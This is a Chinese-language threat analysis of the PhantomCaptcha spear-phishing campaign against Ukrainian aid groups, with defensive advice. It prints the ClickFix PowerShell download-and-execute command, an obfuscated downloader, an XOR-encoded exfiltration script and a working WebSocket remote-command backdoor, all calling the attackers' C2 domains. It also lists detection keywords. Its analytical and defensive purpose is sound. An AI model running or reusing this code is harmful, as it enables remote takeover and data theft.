一、引言
2025年10月8日,网络安全公司SentinelOne披露了一起针对乌克兰人道主义援助组织及地方政府机构的高精度鱼叉式网络钓鱼行动,代号“PhantomCaptcha”。该行动在单日内完成部署、投递与初步感染,目标涵盖国际红十字会、挪威难民理事会、联合国儿童基金会(UNICEF)以及乌克兰顿涅茨克、第聂伯罗彼得罗夫斯克、波尔塔瓦和尼古拉耶夫等州级行政单位。攻击者通过伪造乌克兰总统办公室邮件,嵌入恶意PDF文档,诱导用户点击其中链接,进而跳转至伪装成Zoom会议平台的恶意域名,并利用仿冒Cloudflare CAPTCHA页面实施社会工程,最终部署基于WebSocket协议的远程访问木马(RAT)。此次攻击不仅体现出高度的操作隐蔽性与技术复杂性,还首次展现出攻击者通过客户端标识(client ID)实现对受害者行为的实时追踪与动态引导能力,构成典型的“多通道联动”式精准打击。

当前,针对关键基础设施与人道主义组织的定向网络攻击日益频繁,其战术、技术和程序(TTPs)不断演化。PhantomCaptcha事件作为近期具有代表性的APT(高级持续性威胁)子集,融合了社会工程、多阶段载荷投递、混淆规避、轻量级后门通信等多重技术要素,对现有终端安全体系与网络边界防护机制提出了严峻挑战。本文旨在系统剖析PhantomCaptcha攻击链的技术细节,还原其从初始诱饵到持久化控制的完整路径,评估其对目标组织业务连续性与数据安全的实际威胁,并在此基础上提出可落地的技术防御方案。全文结构如下:第二部分详述攻击流程与技术组件;第三部分分析攻击者战术特征与归因线索;第四部分提出多层次防御建议并辅以代码示例;第五部分总结研究发现与实践启示。

二、PhantomCaptcha攻击链技术解析
(一)初始诱饵:伪装政府公文的恶意PDF
攻击始于一封伪造自“乌克兰总统办公室”的电子邮件,附件为一份8页PDF文档,内容格式、印章与行文风格高度仿照真实政府公文,具备较强可信度。该PDF并非直接携带可执行代码,而是嵌入一个超链接,指向看似合法的Zoom会议邀请页面(实际域名为 zoomconference[.]app)。此设计规避了传统邮件网关对可执行附件或宏脚本的检测机制。
值得注意的是,该PDF本身未被广泛标记为恶意。根据VirusTotal记录,该文件于10月8日从乌克兰、印度、意大利、斯洛伐克等地多次上传,表明攻击覆盖范围广且存在真实用户交互行为。这种“低检出率+高社会可信度”的组合,是现代鱼叉攻击的核心特征之一。

(二)社会工程诱导:ClickFix式CAPTCHA骗局
用户点击PDF内链接后,被重定向至一个托管于芬兰虚拟私有服务器(VPS)的网站,该服务器由俄罗斯服务商KVMKA提供。页面外观模仿Cloudflare的DDoS防护网关,显示标准的“I’m not a robot”reCAPTCHA复选框。然而,该CAPTCHA并非由Google提供,而是一个完全伪造的前端界面。
当用户点击复选框时,触发JavaScript函数 copyToken(),弹出一个包含指令的模态窗口(modal),内容为乌克兰语,要求用户:
点击“复制令牌”按钮;
按下 Win + R 打开“运行”对话框;
粘贴并执行一段PowerShell命令。
该命令形如:
powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('https://zoomconference[.]app/cptch/' + $env:COMPUTERNAME)"
此处 $env:COMPUTERNAME 被用作客户端唯一标识(client ID),使攻击者可在后端区分不同受害者,为后续针对性社工通话或分阶段载荷投递提供依据。这种将用户主动执行命令作为初始载荷入口的设计,有效绕过了基于文件静态分析或进程行为监控的传统EDR(终端检测与响应)系统。

(三)三阶段载荷投递机制
整个恶意载荷投递分为三个阶段,层层递进,兼顾隐蔽性与功能性。
第一阶段:混淆PowerShell下载器
从 zoomconference[.]app/cptch/${clientId} 下载的初始脚本是一段高度混淆的PowerShell代码。典型混淆手法包括字符串拼接、Base64编码、变量名随机化及反调试检查。例如:
$e = 'Ne'+'t.W'+'ebClie'+'nt';
$i = New-Object $e;
$u = 'hxxps://bsnowcommunications[.]com/maintenance';
$b = $i.DownloadData($u);
$dec = [System.Text.Encoding]::UTF8.GetString($b);
IEX $dec;
此类代码虽功能简单(仅用于下载下一阶段脚本),但通过混淆手段显著增加了静态分析难度,并可规避基于YARA规则或哈希匹配的检测。
第二阶段:系统侦察与数据回传
第二阶段脚本执行系统信息收集,包括:
计算机名称($env:COMPUTERNAME)
当前用户名($env:USERNAME)
域/工作组信息([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name)
硬件标识(如主板序列号、MAC地址)
收集的数据经XOR加密(密钥硬编码于脚本中),并通过HTTP GET请求发送至 bsnowcommunications[.]com/maintenance/<encrypted_data>。采用GET而非POST,可进一步伪装为正常网页资源请求,降低网络流量异常检测概率。
XOR加密示例如下:
function Xor-Encrypt {
param($data, $key)
$bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
$result = @()
for ($i = 0; $i -lt $bytes.Length; $i++) {
$result += $bytes[$i] -bxor $key[$i % $key.Length]
}
return [Convert]::ToBase64String($result)
}
$key = @(0x4A, 0x3B, 0x2C, 0x1D)
$payload = "COMPUTER=PC01&USER=admin"
$enc = Xor-Encrypt $payload $key
Invoke-WebRequest -Uri "https://bsnowcommunications[.]com/maintenance/$enc"
第三阶段:WebSocket轻量级后门
最终载荷为一个基于PowerShell实现的WebSocket客户端后门。其核心逻辑为:
$ws = New-Object System.Net.WebSockets.ClientWebSocket
$uri = [System.Uri]::new("wss://bsnowcommunications[.]com:80")
[void]$ws.ConnectAsync($uri, $null).Wait()
while ($ws.State -eq [System.Net.WebSockets.WebSocketState]::Open) {
$buffer = New-Object byte[] 4096
$result = $ws.ReceiveAsync($buffer, $null).Result
if ($result.Count -gt 0) {
$cmd = [System.Text.Encoding]::UTF8.GetString($buffer, 0, $result.Count)
$output = & cmd /c $cmd 2>&1 | Out-String
$outBytes = [System.Text.Encoding]::UTF8.GetBytes($output)
[void]$ws.SendAsync($outBytes, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, $null).Wait()
}
Start-Sleep -Seconds 5
}
该后门通过 wss://(WebSocket Secure)协议与C2服务器保持长连接,支持任意命令执行与结果回传。由于WebSocket流量通常被允许穿越企业防火墙(尤其在支持在线协作工具的环境中),且其加密特性阻碍深度包检测(DPI),因此极具隐蔽性。此外,攻击者在攻击当日即停止解析前端域名(如 zoomconference[.]app),但保留后端C2(bsnowcommunications[.]com)运行,实现“前端快闪、后端持久”的运营策略。
三、攻击者战术特征与归因分析
SentinelLabs指出,PhantomCaptcha行动展现出高度成熟的APT运营能力。其基础设施注册时间可追溯至2025年4月,距实际攻击日(10月8日)长达六个月,表明攻击者进行了长期潜伏与环境测试。所有域名均通过俄罗斯注册商获取,服务器IP归属俄罗斯实体KVMKA,且与此前Coldriver(又名Star Blizzard)组织使用的基础设施存在重叠。
Coldriver被多方情报机构关联至俄罗斯联邦安全局(FSB),长期针对西方外交、军事及人道组织发动网络间谍活动。其典型TTPs包括:
利用政府或国际组织身份进行邮件伪造;
采用ClickFix类社会工程诱导用户自执行命令;
使用轻量级、内存驻留型后门;
C2通信偏好WebSocket、DNS隧道等低信噪比协议。
PhantomCaptcha在上述维度均高度吻合,尤其在“用户自执行”与“WebSocket RAT”两点上几乎复刻Coldriver近期手法。此外,攻击目标聚焦援乌NGO与乌克兰地方政府,符合俄罗斯地缘政治情报需求——旨在破坏人道物资调度、窃取前线行政通信、干扰战时治理能力。
值得强调的是,本次攻击并未追求大规模感染,而是在单日内精准打击数十个高价值目标,体现出“质量优于数量”的作战哲学。这种“闪电式鱼叉”(Blitz Spear Phishing)模式,对依赖历史威胁情报与批量行为分析的防御体系构成显著挑战。
四、多层次防御策略与技术实现
针对PhantomCaptcha所暴露的防御盲区,需构建覆盖终端、网络、策略与人员四个维度的纵深防御体系。
(一)终端侧:限制PDF外链与PowerShell滥用
禁用PDF自动打开外部链接
通过组策略或MDM(移动设备管理)强制配置Adobe Reader或系统默认PDF阅读器,禁止自动加载或执行嵌入式URL。例如,在Windows中可通过注册表项:
HKEY_CURRENT_USER\Software\Adobe\Acrobat Reader\DC\TrustManager
bEnableJSLinkLaunch = 0
约束PowerShell执行策略
将默认执行策略设为 AllSigned 或 RemoteSigned,并启用脚本块日志(Script Block Logging)与模块日志(Module Logging):
Set-ExecutionPolicy RemoteSigned -Scope LocalMachine
同时,通过Microsoft Defender for Endpoint或Sysmon监控可疑PowerShell调用,如包含 -w hidden、IEX、DownloadString 等关键字的命令。
(二)网络侧:实施域名白名单与WebSocket行为检测
会议平台域名白名单
对Zoom、Teams、Google Meet等协作工具,仅允许访问官方域名(如 *.zoom.us, *.zoom.com),拒绝非常规顶级域(如 .app, .xyz)的仿冒站点。可通过DNS防火墙或代理策略实现:
# 示例:Squid ACL规则
acl zoom_sites dstdomain .zoom.us .zoom.com
http_access allow zoom_sites
http_access deny all
基于行为的WebSocket异常检测
部署网络流量分析(NTA)系统,监控WebSocket连接的以下特征:
非标准端口(如80/443以外)建立WSS连接;
连接目标域名无合法SSL证书或证书颁发机构异常;
数据包大小固定、周期性心跳缺失、命令-响应模式明显。
可使用Zeek(原Bro)编写检测脚本:
event websocket_handshake_done(c: connection, is_orig: bool, host: string, uri: string) {
if (host !~ /^([a-z0-9]+\.)*zoom\.(us|com)$/ &&
c$resp$ssl$cert_subject !~ /CN=.*Zoom/) {
Log::write(Weird::LOG, fmt("Suspicious WebSocket to %s", host));
}
}
(三)策略与演练:强化高风险岗位安全意识
针对频繁处理外部邮件的NGO工作人员、政府联络员等群体,应定期开展“反鱼叉”模拟演练,重点训练识别以下信号:
邮件声称来自高层但使用非官方邮箱(如 @president.gov.ua vs @gmail.com);
PDF文档要求“点击链接确认身份”或“验证会议加入权限”;
CAPTCHA页面域名与主站不一致(如 cloudflare-captcha[.]xyz);
指令要求手动执行命令行操作。
演练应结合真实案例(如PhantomCaptcha)设计场景,避免形式化问答,注重行为反馈与纠正。
五、结论
PhantomCaptcha鱼叉攻击事件揭示了现代APT行动在社会工程精细化、载荷投递多阶段化、C2通信隐蔽化等方面的最新演进。其核心威胁不在于技术新颖性,而在于将成熟技术组件以高度协调的方式组合,形成一条从心理诱导到系统控制的闭环攻击链。尤其值得注意的是,攻击者通过客户端标识实现对受害者的个体化追踪,并可能结合电话社工进行“双通道”诱导,这标志着鱼叉攻击正从“广撒网”向“一对一陪聊”模式升级。
防御此类攻击,不能依赖单一技术产品,而需构建“技术+策略+人员”三位一体的韧性体系。在技术层面,应强化对用户自执行行为的监控、对非常规域名的拦截、对加密隧道流量的元数据分析;在管理层面,需对高风险岗位实施最小权限原则与通信验证机制;在人员层面,则要通过持续、贴近实战的安全意识培训,提升“最后一米”的防御能力。
未来,随着AI生成内容(AIGC)在伪造公文、语音通话中的应用,类似PhantomCaptcha的攻击可能进一步自动化与规模化。因此,防御方亦需探索基于行为基线、上下文感知与零信任架构的新一代安全范式,方能在攻防对抗中保持主动。
编辑:芦笛(公共互联网反网络钓鱼工作组)
1104

被折叠的 条评论
为什么被折叠?



